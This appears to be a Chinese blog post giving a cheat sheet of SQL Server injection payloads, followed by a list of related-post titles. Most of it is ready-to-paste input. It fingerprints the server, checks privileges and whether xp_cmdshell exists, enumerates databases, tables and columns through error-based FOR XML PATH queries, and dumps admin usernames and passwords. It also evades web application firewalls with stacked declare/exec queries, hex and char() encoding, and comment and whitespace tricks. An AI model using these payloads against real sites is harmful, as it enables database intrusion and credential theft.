Sql server注入分类之语句总结
本章目录:
- 基础语句
- 注入点权限判断
- 获取数据库
- 获取指定数据库中的表的列的数据库
- 判断数据库级别的角色
- SQL特性:
关于mssql的注入语句,跟mysql也差不了多少,都是从information_scheam库中获取各种数据。
基础语句
select ***://查询指令
@@version // 数据库版本
system_user //系统用户名
suser_sname() //查出当前操作数据库的登入名,一般和触发器一起用来监控是谁对表做了操作
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
db_name(7) //查询库名,1-6为系统库,7开始为其他库
(select host_name()) //主机名
;select user //查询是否支持多语句
and exists(select * from sysobjects) //确实目标是否真的为mssql数据库,页面返回正常则是**
and exists(select username from manage) // 猜解字段
注入点权限判断
- and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
(select count(*) from master.dbo.sysobjects where xtype=‘X’ and name=‘xp_cmdshell’)
//查询xp_cmdshell,1为存在(select name from master.dbo.sysdatabases where dbid=7)
//修改dbid数值,查询库名,1-6为系统库
获取数据库
(该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–
获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–
注:
第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–
加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来,用在筛选表段时很不错。
注入语句可以用char()表示,以下是统计下总共有多少个库
(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )+CHAR(58)+CHAR(58))
查询多条数据可以使用%2B 也就是加号,如果语句中有+号报错,可以url编码成%2B
select null,name%2Bpass,null from info
判断数据库级别的角色
- select IS_MEMBER(‘db_owner’) //查看当前角色是否为db_ownwer
(select top 1 name from sysobjects where xtype=‘U’) //查询当前库第一个表名
(select top 1 table_name from master.information_schema.tables)
//查询master库第一个表名(select top 1 name from bbs.dbo.sysobjects where xtype=‘U’)
//查询bbs库第一个表名(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)
//假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行(select top 1 name from sysobjects where xtype=‘U’ and name not in (‘表名1’,‘表名2’)) //查询其他表
(select top 1 table_name from information_schema.tables where table_name not in (‘表名1’,‘表名2’)) //查询其他表
(select name from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表
(select ‘|’%2bname%2b’|’ from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表
(select top 1 name from syscolumns where id=object_id(‘admin’)) //查询当前库admin表的第一个列名
(select top 1 name from syscolumns where id=object_id(‘admin’) and name not in(‘列名1’,‘列名2’) //查询当前库admin表的其他列名
(select top 1 column_name from information_schema.columns where table_name=‘admin’ and column_name not in(‘列名1’,‘列名2’))
//查询当前库admin表的其他列名(select name from syscolumns where id=object_id(‘admin’) FOR XML PATH(’’)) //快速查询所有列
(select top 1 password from bbs.dbo.admin) //查询bbs库admin表password列的第一个值
(select top 1 password from admin where password not in (‘值1’,‘值2’)) //查询其他值
(select password+username from admin FOR XML PATH(’’)) //快速查询所有值
(select top 1 name from sysobjects where xtype=‘U’ and name not in(select top 0 name from sysobjects where xtype=‘u’))
//变化0来快速查询(select top 0 name from 表名) //变化0来快速查询
SQL特性:
mssql空白符,%01-%20都为空白符,--和/**/为注释,%00也可充当注释符
引进一个declare 函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截
- select * from admin where id =1;declare @a nvarchar(2000) set @a=‘select convert(int,@@version)’ exec(@a) --
堆叠注入,使用declare 和exec进行无select注入
- declare @s varchar(2000) set @s=0x73656C6563742031 exec(@s)
declare定义变量 set设置变量值 exec执行变量
变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用
避免使用引号
(select top 1 name from syscolumns where id=object_id(‘admin’))
(select top 1 name from syscolumns where id=object_id(char(97)+char(100)+char(109)+char(105)+char(110)))
Sql server注入分类之语句总结相关推荐
- sql server学习笔记——批处理语句、存储过程
目录 批处理语句 1.批处理语句简介 示例一: 示例二: 存储过程 一.什么是存储过程 1.存储过程的简介 2.存储过程包含的内容 3.存储过程的优点 4.存储过程的分类 系统存储过程: 用户定义存储 ...
- SQL Server FOR XML PATH 语句的应用---列转行
经常在论坛看到高手使用了 for xml path,由于是搜索一下,记录了详细的使用方法. 在SQL Server中利用 FOR XML PATH 语句能够把查询的数据生成XML数据,下面是它的一些应 ...
- sql server注入_SQL注入:SQL Server中的介绍和预防方法
sql server注入 A SQL injection attack is one of the most commonly used hacking techniques. It allows h ...
- SQL server注入
一.基础知识 系统数据库 master数据库 master是SQL server最重要的数据库,是整个数据库的核心,用户不能直接修改.里面数据库包括用户的登陆信息.用户所在的组.所有系统的配置选项.服 ...
- SQL Server FOR XML PATH 语句的应用
在SQL Server中利用 FOR XML PATH 语句能够把查询的数据生成XML数据,下面是它的一些应用示例. DECLARE @TempTable table(UserID int , Use ...
- SQL Server 数据库部分常用语句小结
1. 查询某存储过程的访问情况 SELECT TOP 1000 db_name(d.database_id) as DBName, s.name as 存储名字, s.type_desc as 存储类 ...
- SQL Server 2000优化SELECT语句方法
本文是SQL Server SQL语句优化系列文章的第一篇.该系列文章描述了在Micosoft's SQLServer2000关系数据库管理系统中优化SELECT语句的基本技巧,我们讨论的技巧可在Mi ...
- 在SQL Server中插入IN-T-SQL语句
In this article, we will go deeply through the INSERT INTO statement by showing the different syntax ...
- 如何从SQL Server中的SELECT语句更新
In this article, we will learn different methods that are used to update the data in a table with th ...
最新文章
- 刚刚、几秒前,时间格式化函数
- mongodb主从设置,capped collections等常用命令集合
- Starting HAL daemon:[FAILED]
- vim基础-一般模式
- 04_Pytorch生态、PyTorch能做什么、PyTorch之Autograd、autograd案例、GPU加速案例
- ArcGIS API For JS之网络分析(临近设施分析)
- shiro 解决 跨域(仅端口不同) 登陆 问题
- ajax then jquery,使用Jquery.ajax()。then()时无法.catch()错误
- Linux内存管理:TLB flush操作
- 微软重写 Windows 10 激活规则
- pta l2-1紧急救援(Dijkstra)
- 可视化卷积神经网络的过滤器
- Maven常用命令汇总
- oracle导出1000万数据,1000万条数据,最好用什么工具做,是sql,还是oracle,抑或vfp?...
- 计算机无法连接到桌面,Win7系统桌面天气小工具提示解决方案无法连接到服务...
- Mac应用程序、软件、工具仓库
- 《嵌入式 – GD32开发实战指南》第15章 低功耗(电源管理)
- 十个程序员必备的网站推荐和较出名的国外程序员论坛
- 计算机硕士论文的框架应该怎么写,计算机硕士论文提纲模板 计算机硕士论文框架怎样写...
- 升级Android8.0系统原来APP图标变为小机器人的问题